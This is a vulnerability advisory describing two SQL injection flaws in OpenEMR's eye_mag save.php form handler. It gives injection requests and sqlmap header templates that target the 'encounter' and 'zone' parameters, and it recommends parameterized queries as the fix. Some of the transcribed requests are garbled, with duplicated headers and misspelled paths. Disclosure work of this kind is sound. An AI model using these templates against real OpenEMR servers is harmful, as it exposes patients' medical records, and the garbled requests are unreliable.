Multiple vulnerability SQL Injection.

SQL Injection 1.

Vulnerable scenario: "/openemr/interface/forms/eye mag/save.php?

mode=update&action=store PDF"

Vulnerable function in file: /openemr/interface/forms/eye mag/save.php

Conditions: any authorized user

Types: "error-based" and "time-based blind".

Description:

No sanitize or filtering value of "encounter" variable.

Screenshot 1. Code of "store PDF" scenario.

Variable "filename" constructed by concatenation of strings and used in sql query without filtering/sanitizing. Variable "encounter" can be controlled by attacker.

```
### HTTP/1.1 200 OK

/openemr/interface/forms/eye_mag/save.php?mode=update&action=store_PDF&encounter='"-
|-*| HTTP/1.1
| Host: 10.198.0.133

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:68.0) Gecko/20100101
| Firefox/68.0 |
| Accept-Language: en-US,en;q=0.5 |
| Accept-Language: en-US,en;q=0.5 |
| Accept-Encoding: gzip, deflate |
| Cookie: OpenEMR=ahjhrretae44vvo038pdjgis?r

| Cookie: OpenEMR=ahjhretae44vvo038pdjgis?r

| Cookie: OpenEMR=ahjhretae44vvo038pdjgis?r
```

Screenshot 2. HTTP request with SQL errors in answer.

Header file for sqlmap:

```
GET /openemr/interface/forms/eye_mag/save.php?mode=update&action=store_PDF&encounter=*
HTTP/1.1
Host: $(YOUR_SERVER_IP_HERE)
Cookie: OpenEMR=$(ANY_VALID_COOKIE_FROM_ANY_USER)
```

SQL Injection 2.

Vulnerable scenario: "/openemr/interface/forms/eye_mag/save.php?canvas=" **Vulnerable function in file:** /openemr/interface/forms/eye_mag/save.php **Conditions:** any authorized user

Types: "error-based" and "time-based blind".

Description:

No sanitize or filtering value of "encounter" variable.

Screenshot 3. Code of "canvas" scenario.

Variable "filename" constructed by concatenation of strings and used in sql query without filtering/sanitizing. Variables "encounter" and "zone" can be controlled by attacker.

```
POST
//openeur/interface/forms/eye_mag/save.php?canvas=st_encounter="injected&cone="injected ted HTTP/1.1
(Host: 10.198.0.133
Cookie: OpenEMRevedjo9d2pm0sgfg6aaorSpfk809
X-Requested-with: XMLHtpRequest
Accept_Language: en-US,en;q=0.5
Accept_Language: en-US,en;q=0.8
Accept_Language: en-
```

Screenshot 4. HTTP request with SQL errors in answer.

Header file for sqlmap:

POST /openemr/interface/forms/eye_mag/save.php?canvas=s&encounter=*&zone=_sad&pid=1 HTTP/
1.1
Host: \$(YOUR_SERVER_IP_HERE)
Cookie: OpenEMR=\$(ANY_VALID_COOKIE_FROM_ANY_USER)
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=14629937981996488483549949406
Content-Length: 182
14629937981996488483549949406
Content-Disposition: form-data; name="imgBase64"
\$(ANY_VALID_BASE64)
14629937981996488483549949406

Solution:

Use standard parameterized construction of sql queries, like in other queries in web application.